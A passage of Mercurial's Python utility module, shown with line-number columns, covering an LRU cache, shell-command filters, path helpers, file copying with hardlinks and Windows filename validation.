994 999
995 1000 @contextlib.contextmanager
996 1001 def acceptintervention(tr=None):
997 1002 """A context manager that closes the transaction on InterventionRequired
998 1003
999 1004 If no transaction was provided, this simply runs the body and returns
1000 1005 """
1001 1006 if not tr:
1002 1007 yield
1003 1008 return
1004 1009 try:
1005 1010 yield
1006 1011 tr.close()
1007 1012 except error.InterventionRequired:
1008 1013 tr.close()
1009 1014 raise
1010 1015 finally:
1011 1016 tr.release()
1012 1017
1013 1018 @contextlib.contextmanager
1014 1019 def nullcontextmanager():
1015 1020 yield
1016 1021
1017 1022 class _lrucachenode(object):
1018 1023 """A node in a doubly linked list.
1019 1024
1020 1025 Holds a reference to nodes on either side as well as a key-value
1021 1026 pair for the dictionary entry.
1022 1027 """
1023 1028 __slots__ = (u'next', u'prev', u'key', u'value')
1024 1029
1025 1030 def __init__(self):
1026 1031 self.next = None
1027 1032 self.prev = None
1028 1033
1029 1034 self.key = _notset
1030 1035 self.value = None
1031 1036
1032 1037 def markempty(self):
1033 1038 """Mark the node as emptied."""
1034 1039 self.key = _notset
1035 1040
1036 1041 class lrucachedict(object):
1037 1042 """Dict that caches most recent accesses and sets.
1038 1043
1039 1044 The dict consists of an actual backing dict - indexed by original
1040 1045 key - and a doubly linked circular list defining the order of entries in
1041 1046 the cache.
1042 1047
1043 1048 The head node is the newest entry in the cache. If the cache is full,
1044 1049 we recycle head.prev and make it the new head. Cache accesses result in
1045 1050 the node being moved to before the existing head and being marked as the
1046 1051 new head node.
1047 1052 """
1048 1053 def __init__(self, max):
1049 1054 self._cache = {}
1050 1055
1051 1056 self._head = head = _lrucachenode()
1052 1057 head.prev = head
1053 1058 head.next = head
1054 1059 self._size = 1
1055 1060 self._capacity = max
1056 1061
1057 1062 def __len__(self):
1058 1063 return len(self._cache)
1059 1064
1060 1065 def __contains__(self, k):
1061 1066 return k in self._cache
1062 1067
1063 1068 def __iter__(self):
1064 1069 # We don't have to iterate in cache order, but why not.
1065 1070 n = self._head
1066 1071 for i in range(len(self._cache)):
1067 1072 yield n.key
1068 1073 n = n.next
1069 1074
1070 1075 def __getitem__(self, k):
1071 1076 node = self._cache[k]
1072 1077 self._movetohead(node)
1073 1078 return node.value
1074 1079
1075 1080 def __setitem__(self, k, v):
1076 1081 node = self._cache.get(k)
1077 1082 # Replace existing value and mark as newest.
1078 1083 if node is not None:
1079 1084 node.value = v
1080 1085 self._movetohead(node)
1081 1086 return
1082 1087
1083 1088 if self._size < self._capacity:
1084 1089 node = self._addcapacity()
1085 1090 else:
1086 1091 # Grab the last/oldest item.
1087 1092 node = self._head.prev
1088 1093
1089 1094 # At capacity. Kill the old entry.
1090 1095 if node.key is not _notset:
1091 1096 del self._cache[node.key]
1092 1097
1093 1098 node.key = k
1094 1099 node.value = v
1095 1100 self._cache[k] = node
1096 1101 # And mark it as newest entry. No need to adjust order since it
1097 1102 # is already self._head.prev.
1098 1103 self._head = node
1099 1104
1100 1105 def __delitem__(self, k):
1101 1106 node = self._cache.pop(k)
1102 1107 node.markempty()
1103 1108
1104 1109 # Temporarily mark as newest item before re-adjusting head to make
1105 1110 # this node the oldest item.
1106 1111 self._movetohead(node)
1107 1112 self._head = node.next
1108 1113
1109 1114 # Additional dict methods.
1110 1115
1111 1116 def get(self, k, default=None):
1112 1117 try:
1113 1118 return self._cache[k].value
1114 1119 except KeyError:
1115 1120 return default
1116 1121
1117 1122 def clear(self):
1118 1123 n = self._head
1119 1124 while n.key is not _notset:
1120 1125 n.markempty()
1121 1126 n = n.next
1122 1127
1123 1128 self._cache.clear()
1124 1129
1125 1130 def copy(self):
1126 1131 result = lrucachedict(self._capacity)
1127 1132 n = self._head.prev
1128 1133 # Iterate in oldest-to-newest order, so the copy has the right ordering
1129 1134 for i in range(len(self._cache)):
1130 1135 result[n.key] = n.value
1131 1136 n = n.prev
1132 1137 return result
1133 1138
1134 1139 def _movetohead(self, node):
1135 1140 """Mark a node as the newest, making it the new head.
1136 1141
1137 1142 When a node is accessed, it becomes the freshest entry in the LRU
1138 1143 list, which is denoted by self._head.
1139 1144
1140 1145 Visually, let's make ``N`` the new head node (* denotes head):
1141 1146
1142 1147 previous/oldest <-> head <-> next/next newest
1143 1148
1144 1149 ----<->--- A* ---<->-----
1145 1150 | |
1146 1151 E <-> D <-> N <-> C <-> B
1147 1152
1148 1153 To:
1149 1154
1150 1155 ----<->--- N* ---<->-----
1151 1156 | |
1152 1157 E <-> D <-> C <-> B <-> A
1153 1158
1154 1159 This requires the following moves:
1155 1160
1156 1161 C.next = D (node.prev.next = node.next)
1157 1162 D.prev = C (node.next.prev = node.prev)
1158 1163 E.next = N (head.prev.next = node)
1159 1164 N.prev = E (node.prev = head.prev)
1160 1165 N.next = A (node.next = head)
1161 1166 A.prev = N (head.prev = node)
1162 1167 """
1163 1168 head = self._head
1164 1169 # C.next = D
1165 1170 node.prev.next = node.next
1166 1171 # D.prev = C
1167 1172 node.next.prev = node.prev
1168 1173 # N.prev = E
1169 1174 node.prev = head.prev
1170 1175 # N.next = A
1171 1176 # It is tempting to do just "head" here, however if node is
1172 1177 # adjacent to head, this will do bad things.
1173 1178 node.next = head.prev.next
1174 1179 # E.next = N
1175 1180 node.next.prev = node
1176 1181 # A.prev = N
1177 1182 node.prev.next = node
1178 1183
1179 1184 self._head = node
1180 1185
1181 1186 def _addcapacity(self):
1182 1187 """Add a node to the circular linked list.
1183 1188
1184 1189 The new node is inserted before the head node.
1185 1190 """
1186 1191 head = self._head
1187 1192 node = _lrucachenode()
1188 1193 head.prev.next = node
1189 1194 node.prev = head.prev
1190 1195 node.next = head
1191 1196 head.prev = node
1192 1197 self._size += 1
1193 1198 return node
1194 1199
1195 1200 def lrucachefunc(func):
1196 1201 '''cache most recent results of function calls'''
1197 1202 cache = {}
1198 1203 order = collections.deque()
1199 1204 if func.__code__.co_argcount == 1:
1200 1205 def f(arg):
1201 1206 if arg not in cache:
1202 1207 if len(cache) > 20:
1203 1208 del cache[order.popleft()]
1204 1209 cache[arg] = func(arg)
1205 1210 else:
1206 1211 order.remove(arg)
1207 1212 order.append(arg)
1208 1213 return cache[arg]
1209 1214 else:
1210 1215 def f(*args):
1211 1216 if args not in cache:
1212 1217 if len(cache) > 20:
1213 1218 del cache[order.popleft()]
1214 1219 cache[args] = func(*args)
1215 1220 else:
1216 1221 order.remove(args)
1217 1222 order.append(args)
1218 1223 return cache[args]
1219 1224
1220 1225 return f
1221 1226
1222 1227 class propertycache(object):
1223 1228 def __init__(self, func):
1224 1229 self.func = func
1225 1230 self.name = func.__name__
1226 1231 def __get__(self, obj, type=None):
1227 1232 result = self.func(obj)
1228 1233 self.cachevalue(obj, result)
1229 1234 return result
1230 1235
1231 1236 def cachevalue(self, obj, value):
1232 1237 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1233 1238 obj.__dict__[self.name] = value
1234 1239
1235 1240 def clearcachedproperty(obj, prop):
1236 1241 '''clear a cached property value, if one has been set'''
1237 1242 if prop in obj.__dict__:
1238 1243 del obj.__dict__[prop]
1239 1244
1240 1245 def pipefilter(s, cmd):
1241 1246 '''filter string S through command CMD, returning its output'''
1242 1247 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1243 1248 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1244 1249 pout, perr = p.communicate(s)
1245 1250 return pout
1246 1251
1247 1252 def tempfilter(s, cmd):
1248 1253 '''filter string S through a pair of temporary files with CMD.
1249 1254 CMD is used as a template to create the real command to be run,
1250 1255 with the strings INFILE and OUTFILE replaced by the real names of
1251 1256 the temporary files generated.'''
1252 1257 inname, outname = None, None
1253 1258 try:
1254 1259 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1255 1260 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1256 1261 fp.write(s)
1257 1262 fp.close()
1258 1263 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1259 1264 os.close(outfd)
1260 1265 cmd = cmd.replace('INFILE', inname)
1261 1266 cmd = cmd.replace('OUTFILE', outname)
1262 1267 code = os.system(cmd)
1263 1268 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1264 1269 code = 0
1265 1270 if code:
1266 1271 raise Abort(_("command '%s' failed: %s") %
1267 1272 (cmd, explainexit(code)))
1268 1273 return readfile(outname)
1269 1274 finally:
1270 1275 try:
1271 1276 if inname:
1272 1277 os.unlink(inname)
1273 1278 except OSError:
1274 1279 pass
1275 1280 try:
1276 1281 if outname:
1277 1282 os.unlink(outname)
1278 1283 except OSError:
1279 1284 pass
1280 1285
1281 1286 filtertable = {
1282 1287 'tempfile:': tempfilter,
1283 1288 'pipe:': pipefilter,
1284 1289 }
1285 1290
1286 1291 def filter(s, cmd):
1287 1292 "filter a string through a command that transforms its input to its output"
1288 1293 for name, fn in filtertable.iteritems():
1289 1294 if cmd.startswith(name):
1290 1295 return fn(s, cmd[len(name):].lstrip())
1291 1296 return pipefilter(s, cmd)
1292 1297
1293 1298 def binary(s):
1294 1299 """return true if a string is binary data"""
1295 1300 return bool(s and '\0' in s)
1296 1301
1297 1302 def increasingchunks(source, min=1024, max=65536):
1298 1303 '''return no less than min bytes per chunk while data remains,
1299 1304 doubling min after each chunk until it reaches max'''
1300 1305 def log2(x):
1301 1306 if not x:
1302 1307 return 0
1303 1308 i = 0
1304 1309 while x:
1305 1310 x >>= 1
1306 1311 i += 1
1307 1312 return i - 1
1308 1313
1309 1314 buf = []
1310 1315 blen = 0
1311 1316 for chunk in source:
1312 1317 buf.append(chunk)
1313 1318 blen += len(chunk)
1314 1319 if blen >= min:
1315 1320 if min < max:
1316 1321 min = min << 1
1317 1322 nmin = 1 << log2(blen)
1318 1323 if nmin > min:
1319 1324 min = nmin
1320 1325 if min > max:
1321 1326 min = max
1322 1327 yield ''.join(buf)
1323 1328 blen = 0
1324 1329 buf = []
1325 1330 if buf:
1326 1331 yield ''.join(buf)
1327 1332
1328 1333 Abort = error.Abort
1329 1334
1330 1335 def always(fn):
1331 1336 return True
1332 1337
1333 1338 def never(fn):
1334 1339 return False
1335 1340
1336 1341 def nogc(func):
1337 1342 """disable garbage collector
1338 1343
1339 1344 Python's garbage collector triggers a GC each time a certain number of
1340 1345 container objects (the number being defined by gc.get_threshold()) are
1341 1346 allocated even when marked not to be tracked by the collector. Tracking has
1342 1347 no effect on when GCs are triggered, only on what objects the GC looks
1343 1348 into. As a workaround, disable GC while building complex (huge)
1344 1349 containers.
1345 1350
1346 1351 This garbage collector issue have been fixed in 2.7. But it still affect
1347 1352 CPython's performance.
1348 1353 """
1349 1354 def wrapper(*args, **kwargs):
1350 1355 gcenabled = gc.isenabled()
1351 1356 gc.disable()
1352 1357 try:
1353 1358 return func(*args, **kwargs)
1354 1359 finally:
1355 1360 if gcenabled:
1356 1361 gc.enable()
1357 1362 return wrapper
1358 1363
1359 1364 if pycompat.ispypy:
1360 1365 # PyPy runs slower with gc disabled
1361 1366 nogc = lambda x: x
1362 1367
1363 1368 def pathto(root, n1, n2):
1364 1369 '''return the relative path from one place to another.
1365 1370 root should use os.sep to separate directories
1366 1371 n1 should use os.sep to separate directories
1367 1372 n2 should use "/" to separate directories
1368 1373 returns an os.sep-separated path.
1369 1374
1370 1375 If n1 is a relative path, it's assumed it's
1371 1376 relative to root.
1372 1377 n2 should always be relative to root.
1373 1378 '''
1374 1379 if not n1:
1375 1380 return localpath(n2)
1376 1381 if os.path.isabs(n1):
1377 1382 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1378 1383 return os.path.join(root, localpath(n2))
1379 1384 n2 = '/'.join((pconvert(root), n2))
1380 1385 a, b = splitpath(n1), n2.split('/')
1381 1386 a.reverse()
1382 1387 b.reverse()
1383 1388 while a and b and a[-1] == b[-1]:
1384 1389 a.pop()
1385 1390 b.pop()
1386 1391 b.reverse()
1387 1392 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1388 1393
1389 1394 def mainfrozen():
1390 1395 """return True if we are a frozen executable.
1391 1396
1392 1397 The code supports py2exe (most common, Windows only) and tools/freeze
1393 1398 (portable, not much used).
1394 1399 """
1395 1400 return (safehasattr(sys, "frozen") or # new py2exe
1396 1401 safehasattr(sys, "importers") or # old py2exe
1397 1402 imp.is_frozen(u"__main__")) # tools/freeze
1398 1403
1399 1404 # the location of data files matching the source code
1400 1405 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1401 1406 # executable version (py2exe) doesn't support __file__
1402 1407 datapath = os.path.dirname(pycompat.sysexecutable)
1403 1408 else:
1404 1409 datapath = os.path.dirname(pycompat.fsencode(__file__))
1405 1410
1406 1411 i18n.setdatapath(datapath)
1407 1412
1408 1413 _hgexecutable = None
1409 1414
1410 1415 def hgexecutable():
1411 1416 """return location of the 'hg' executable.
1412 1417
1413 1418 Defaults to $HG or 'hg' in the search path.
1414 1419 """
1415 1420 if _hgexecutable is None:
1416 1421 hg = encoding.environ.get('HG')
1417 1422 mainmod = sys.modules[pycompat.sysstr('__main__')]
1418 1423 if hg:
1419 1424 _sethgexecutable(hg)
1420 1425 elif mainfrozen():
1421 1426 if getattr(sys, 'frozen', None) == 'macosx_app':
1422 1427 # Env variable set by py2app
1423 1428 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1424 1429 else:
1425 1430 _sethgexecutable(pycompat.sysexecutable)
1426 1431 elif (os.path.basename(
1427 1432 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1428 1433 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1429 1434 else:
1430 1435 exe = findexe('hg') or os.path.basename(sys.argv[0])
1431 1436 _sethgexecutable(exe)
1432 1437 return _hgexecutable
1433 1438
1434 1439 def _sethgexecutable(path):
1435 1440 """set location of the 'hg' executable"""
1436 1441 global _hgexecutable
1437 1442 _hgexecutable = path
1438 1443
1439 1444 def _isstdout(f):
1440 1445 fileno = getattr(f, 'fileno', None)
1441 1446 try:
1442 1447 return fileno and fileno() == sys.__stdout__.fileno()
1443 1448 except io.UnsupportedOperation:
1444 1449 return False # fileno() raised UnsupportedOperation
1445 1450
1446 1451 def shellenviron(environ=None):
1447 1452 """return environ with optional override, useful for shelling out"""
1448 1453 def py2shell(val):
1449 1454 'convert python object into string that is useful to shell'
1450 1455 if val is None or val is False:
1451 1456 return '0'
1452 1457 if val is True:
1453 1458 return '1'
1454 1459 return pycompat.bytestr(val)
1455 1460 env = dict(encoding.environ)
1456 1461 if environ:
1457 1462 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1458 1463 env['HG'] = hgexecutable()
1459 1464 return env
1460 1465
1461 1466 def system(cmd, environ=None, cwd=None, out=None):
1462 1467 '''enhanced shell command execution.
1463 1468 run with environment maybe modified, maybe in different dir.
1464 1469
1465 1470 if out is specified, it is assumed to be a file-like object that has a
1466 1471 write() method. stdout and stderr will be redirected to out.'''
1467 1472 try:
1468 1473 stdout.flush()
1469 1474 except Exception:
1470 1475 pass
1471 1476 cmd = quotecommand(cmd)
1472 1477 env = shellenviron(environ)
1473 1478 if out is None or _isstdout(out):
1474 1479 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1475 1480 env=env, cwd=cwd)
1476 1481 else:
1477 1482 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1478 1483 env=env, cwd=cwd, stdout=subprocess.PIPE,
1479 1484 stderr=subprocess.STDOUT)
1480 1485 for line in iter(proc.stdout.readline, ''):
1481 1486 out.write(line)
1482 1487 proc.wait()
1483 1488 rc = proc.returncode
1484 1489 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1485 1490 rc = 0
1486 1491 return rc
1487 1492
1488 1493 def checksignature(func):
1489 1494 '''wrap a function with code to check for calling errors'''
1490 1495 def check(*args, **kwargs):
1491 1496 try:
1492 1497 return func(*args, **kwargs)
1493 1498 except TypeError:
1494 1499 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1495 1500 raise error.SignatureError
1496 1501 raise
1497 1502
1498 1503 return check
1499 1504
1500 1505 # a whilelist of known filesystems where hardlink works reliably
1501 1506 _hardlinkfswhitelist = {
1502 1507 'btrfs',
1503 1508 'ext2',
1504 1509 'ext3',
1505 1510 'ext4',
1506 1511 'hfs',
1507 1512 'jfs',
1508 1513 'NTFS',
1509 1514 'reiserfs',
1510 1515 'tmpfs',
1511 1516 'ufs',
1512 1517 'xfs',
1513 1518 'zfs',
1514 1519 }
1515 1520
1516 1521 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1517 1522 '''copy a file, preserving mode and optionally other stat info like
1518 1523 atime/mtime
1519 1524
1520 1525 checkambig argument is used with filestat, and is useful only if
1521 1526 destination file is guarded by any lock (e.g. repo.lock or
1522 1527 repo.wlock).
1523 1528
1524 1529 copystat and checkambig should be exclusive.
1525 1530 '''
1526 1531 assert not (copystat and checkambig)
1527 1532 oldstat = None
1528 1533 if os.path.lexists(dest):
1529 1534 if checkambig:
1530 1535 oldstat = checkambig and filestat.frompath(dest)
1531 1536 unlink(dest)
1532 1537 if hardlink:
1533 1538 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1534 1539 # unless we are confident that dest is on a whitelisted filesystem.
1535 1540 try:
1536 1541 fstype = getfstype(os.path.dirname(dest))
1537 1542 except OSError:
1538 1543 fstype = None
1539 1544 if fstype not in _hardlinkfswhitelist:
1540 1545 hardlink = False
1541 1546 if hardlink:
1542 1547 try:
1543 1548 oslink(src, dest)
1544 1549 return
1545 1550 except (IOError, OSError):
1546 1551 pass # fall back to normal copy
1547 1552 if os.path.islink(src):
1548 1553 os.symlink(os.readlink(src), dest)
1549 1554 # copytime is ignored for symlinks, but in general copytime isn't needed
1550 1555 # for them anyway
1551 1556 else:
1552 1557 try:
1553 1558 shutil.copyfile(src, dest)
1554 1559 if copystat:
1555 1560 # copystat also copies mode
1556 1561 shutil.copystat(src, dest)
1557 1562 else:
1558 1563 shutil.copymode(src, dest)
1559 1564 if oldstat and oldstat.stat:
1560 1565 newstat = filestat.frompath(dest)
1561 1566 if newstat.isambig(oldstat):
1562 1567 # stat of copied file is ambiguous to original one
1563 1568 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1564 1569 os.utime(dest, (advanced, advanced))
1565 1570 except shutil.Error as inst:
1566 1571 raise Abort(str(inst))
1567 1572
1568 1573 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1569 1574 """Copy a directory tree using hardlinks if possible."""
1570 1575 num = 0
1571 1576
1572 1577 gettopic = lambda: hardlink and _('linking') or _('copying')
1573 1578
1574 1579 if os.path.isdir(src):
1575 1580 if hardlink is None:
1576 1581 hardlink = (os.stat(src).st_dev ==
1577 1582 os.stat(os.path.dirname(dst)).st_dev)
1578 1583 topic = gettopic()
1579 1584 os.mkdir(dst)
1580 1585 for name, kind in listdir(src):
1581 1586 srcname = os.path.join(src, name)
1582 1587 dstname = os.path.join(dst, name)
1583 1588 def nprog(t, pos):
1584 1589 if pos is not None:
1585 1590 return progress(t, pos + num)
1586 1591 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1587 1592 num += n
1588 1593 else:
1589 1594 if hardlink is None:
1590 1595 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1591 1596 os.stat(os.path.dirname(dst)).st_dev)
1592 1597 topic = gettopic()
1593 1598
1594 1599 if hardlink:
1595 1600 try:
1596 1601 oslink(src, dst)
1597 1602 except (IOError, OSError):
1598 1603 hardlink = False
1599 1604 shutil.copy(src, dst)
1600 1605 else:
1601 1606 shutil.copy(src, dst)
1602 1607 num += 1
1603 1608 progress(topic, num)
1604 1609 progress(topic, None)
1605 1610
1606 1611 return hardlink, num
1607 1612
1608 1613 _winreservednames = {
1609 1614 'con', 'prn', 'aux', 'nul',
1610 1615 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1611 1616 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1612 1617 }
1613 1618 _winreservedchars = ':*?"<>|'
1614 1619 def checkwinfilename(path):
1615 1620 r'''Check that the base-relative path is a valid filename on Windows.
1616 1621 Returns None if the path is ok, or a UI string describing the problem.
1617 1622
1618 1623 >>> checkwinfilename(b"just/a/normal/path")
1619 1624 >>> checkwinfilename(b"foo/bar/con.xml")
1620 1625 "filename contains 'con', which is reserved on Windows"
1621 1626 >>> checkwinfilename(b"foo/con.xml/bar")
1622 1627 "filename contains 'con', which is reserved on Windows"
1623 1628 >>> checkwinfilename(b"foo/bar/xml.con")
1624 1629 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1625 1630 "filename contains 'AUX', which is reserved on Windows"
1626 1631 >>> checkwinfilename(b"foo/bar/bla:.txt")
1627 1632 "filename contains ':', which is reserved on Windows"
1628 1633 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1629 1634 "filename contains '\\x07', which is invalid on Windows"
1630 1635 >>> checkwinfilename(b"foo/bar/bla ")
1631 1636 "filename ends with ' ', which is not allowed on Windows"
1632 1637 >>> checkwinfilename(b"../bar")
1633 1638 >>> checkwinfilename(b"foo\\")
1634 1639 "filename ends with '\\', which is invalid on Windows"
1635 1640 >>> checkwinfilename(b"foo\\/bar")
1636 1641 "directory name ends with '\\', which is invalid on Windows"
1637 1642 '''
1638 1643 if path.endswith('\\'):
1639 1644 return _("filename ends with '\\', which is invalid on Windows")
1640 1645 if '\\/' in path:
1641 1646 return _("directory name ends with '\\', which is invalid on Windows")
1642 1647 for n in path.replace('\\', '/').split('/'):
1643 1648 if not n:
1644 1649 continue
1645 1650 for c in _filenamebytestr(n):
1646 1651 if c in _winreservedchars:
1647 1652 return _("filename contains '%s', which is reserved "
1648 1653 "on Windows") % c
1649 1654 if ord(c) <= 31:
1650 1655 return _("filename contains '%s', which is invalid "
1651 1656 "on Windows") % escapestr(c)
1652 1657 base = n.split('.')[0]
1653 1658 if base and base.lower() in _winreservednames:
1654 1659 return _("filename contains '%s', which is reserved "
1655 1660 "on Windows") % base
1656 1661 t = n[-1:]
1657 1662 if t in '. ' and n not in '..':
1658 1663 return _("filename ends with '%s', which is not allowed "
1659 1664 "on Windows") % t
1660 1665
1661 1666 if pycompat.iswindows:
1662 1667 checkosfilename = checkwinfilename
1663 1668 timer = time.clock
1664 1669 else:
1665 1670 checkosfilename = platform.checkosfilename
1666 1671 timer = time.time
1667 1672
1668 1673 if safehasattr(time, "perf_counter"):
1669 1674 timer = time.perf_counter
1670 1675
1671 1676 def makelock(info, pathname):
1672 1677 try:
1673 1678 return os.symlink(info, pathname)
1674 1679 except OSError as why:
1675 1680 if why.errno == errno.EEXIST:
1676 1681 raise
1677 1682 except AttributeError: # no symlink in os
1678 1683 pass
1679 1684
1680 1685 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1681 1686 os.write(ld, info)
1682 1687 os.close(ld)
1683 1688
1684 1689 def readlock(pathname):
1685 1690 try:
1686 1691 return os.readlink(pathname)
1687 1692 except OSError as why:
1688 1693 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1689 1694 raise
1690 1695 except AttributeError: # no symlink in os
1691 1696 pass
1692 1697 fp = posixfile(pathname)
1693 1698 r = fp.read()
1694 1699 fp.close()
1695 1700 return r
1696 1701
1697 1702 def fstat(fp):
1698 1703 '''stat file object that may not have fileno method.'''
1699 1704 try:
1700 1705 return os.fstat(fp.fileno())
1701 1706 except AttributeError:
1702 1707 return os.stat(fp.name)
1703 1708
1704 1709 # File system features
1705 1710
1706 1711 def fscasesensitive(path):
1707 1712 """
1708 1713 Return true if the given path is on a case-sensitive filesystem
1709 1714
1710 1715 Requires a path (like /foo/.hg) ending with a foldable final
1711 1716 directory component.
1712 1717 """
1713 1718 s1 = os.lstat(path)
1714 1719 d, b = os.path.split(path)
1715 1720 b2 = b.upper()
1716 1721 if b == b2:
1717 1722 b2 = b.lower()
1718 1723 if b == b2:
1719 1724 return True # no evidence against case sensitivity
1720 1725 p2 = os.path.join(d, b2)
1721 1726 try:
1722 1727 s2 = os.lstat(p2)
1723 1728 if s2 == s1:
1724 1729 return False
1725 1730 return True
1726 1731 except OSError:
1727 1732 return True
1728 1733
1729 1734 try:
1730 1735 import re2
1731 1736 _re2 = None
1732 1737 except ImportError:
1733 1738 _re2 = False
1734 1739
1735 1740 class _re(object):
1736 1741 def _checkre2(self):
1737 1742 global _re2
1738 1743 try:
1739 1744 # check if match works, see issue3964
1740 1745 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1741 1746 except ImportError:
1742 1747 _re2 = False
1743 1748
1744 1749 def compile(self, pat, flags=0):
1745 1750 '''Compile a regular expression, using re2 if possible
1746 1751
1747 1752 For best performance, use only re2-compatible regexp features. The
1748 1753 only flags from the re module that are re2-compatible are
1749 1754 IGNORECASE and MULTILINE.'''
1750 1755 if _re2 is None:
1751 1756 self._checkre2()
1752 1757 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1753 1758 if flags & remod.IGNORECASE:
1754 1759 pat = '(?i)' + pat
1755 1760 if flags & remod.MULTILINE:
1756 1761 pat = '(?m)' + pat
1757 1762 try:
1758 1763 return re2.compile(pat)
1759 1764 except re2.error:
1760 1765 pass
1761 1766 return remod.compile(pat, flags)
1762 1767
1763 1768 @propertycache
1764 1769 def escape(self):
1765 1770 '''Return the version of escape corresponding to self.compile.
1766 1771
1767 1772 This is imperfect because whether re2 or re is used for a particular
1768 1773 function depends on the flags, etc, but it's the best we can do.
1769 1774 '''
1770 1775 global _re2
1771 1776 if _re2 is None:
1772 1777 self._checkre2()
1773 1778 if _re2:
1774 1779 return re2.escape
1775 1780 else:
1776 1781 return remod.escape
1777 1782
1778 1783 re = _re()
1779 1784
1780 1785 _fspathcache = {}
1781 1786 def fspath(name, root):
1782 1787 '''Get name in the case stored in the filesystem
1783 1788
1784 1789 The name should be relative to root, and be normcase-ed for efficiency.
1785 1790
1786 1791 Note that this function is unnecessary, and should not be
1787 1792 called, for case-sensitive filesystems (simply because it's expensive).
1788 1793
1789 1794 The root should be normcase-ed, too.
1790 1795 '''
1791 1796 def _makefspathcacheentry(dir):
1792 1797 return dict((normcase(n), n) for n in os.listdir(dir))
1793 1798
1794 1799 seps = pycompat.ossep
1795 1800 if pycompat.osaltsep:
1796 1801 seps = seps + pycompat.osaltsep
1797 1802 # Protect backslashes. This gets silly very quickly.
1798 1803 seps.replace('\\','\\\\')
1799 1804 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1800 1805 dir = os.path.normpath(root)
1801 1806 result = []
1802 1807 for part, sep in pattern.findall(name):
1803 1808 if sep:
1804 1809 result.append(sep)
1805 1810 continue
1806 1811
1807 1812 if dir not in _fspathcache:
1808 1813 _fspathcache[dir] = _makefspathcacheentry(dir)
1809 1814 contents = _fspathcache[dir]
1810 1815
1811 1816 found = contents.get(part)
1812 1817 if not found:
1813 1818 # retry "once per directory" per "dirstate.walk" which
1814 1819 # may take place for each patches of "hg qpush", for example
1815 1820 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1816 1821 found = contents.get(part)
1817 1822
1818 1823 result.append(found or part)
1819 1824 dir = os.path.join(dir, part)
1820 1825
1821 1826 return ''.join(result)
1822 1827
1823 1828 def checknlink(testfile):
1824 1829 '''check whether hardlink count reporting works properly'''
1825 1830
1826 1831 # testfile may be open, so we need a separate file for checking to
1827 1832 # work around issue2543 (or testfile may get lost on Samba shares)
1828 1833 f1, f2, fp = None, None, None
1829 1834 try:
1830 1835 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1831 1836 suffix='1~', dir=os.path.dirname(testfile))
1832 1837 os.close(fd)
1833 1838 f2 = '%s2~' % f1[:-2]
1834 1839
1835 1840 oslink(f1, f2)
1836 1841 # nlinks() may behave differently for files on Windows shares if
1837 1842 # the file is open.
1838 1843 fp = posixfile(f2)
1839 1844 return nlinks(f2) > 1
1840 1845 except OSError:
1841 1846 return False
1842 1847 finally:
1843 1848 if fp is not None:
1844 1849 fp.close()
1845 1850 for f in (f1, f2):
1846 1851 try:
1847 1852 if f is not None:
1848 1853 os.unlink(f)
1849 1854 except OSError:
1850 1855 pass
1851 1856
1852 1857 def endswithsep(path):
1853 1858 '''Check path ends with os.sep or os.altsep.'''
1854 1859 return (path.endswith(pycompat.ossep)
1855 1860 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1856 1861
1857 1862 def splitpath(path):
1858 1863 '''Split path by os.sep.
1859 1864 Note that this function does not use os.altsep because this is
1860 1865 an alternative of simple "xxx.split(os.sep)".
1861 1866 It is recommended to use os.path.normpath() before using this
1862 1867 function if need.'''
1863 1868 return path.split(pycompat.ossep)
1864 1869
1865 1870 def gui():
1866 1871 '''Are we running in a GUI?'''
1867 1872 if pycompat.isdarwin:
1868 1873 if 'SSH_CONNECTION' in encoding.environ:
1869 1874 # handle SSH access to a box where the user is logged in
1870 1875 return False
1871 1876 elif getattr(osutil, 'isgui', None):
1872 1877 # check if a CoreGraphics session is available
1873 1878 return osutil.isgui()
1874 1879 else:
1875 1880 # pure build; use a safe default
1876 1881 return True
1877 1882 else:
1878 1883 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1879 1884
1880 1885 def mktempcopy(name, emptyok=False, createmode=None):
1881 1886 """Create a temporary file with the same contents from name
1882 1887
1883 1888 The permission bits are copied from the original file.
1884 1889
1885 1890 If the temporary file is going to be truncated immediately, you
1886 1891 can use emptyok=True as an optimization.
1887 1892
1888 1893 Returns the name of the temporary file.
1889 1894 """
1890 1895 d, fn = os.path.split(name)
1891 1896 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
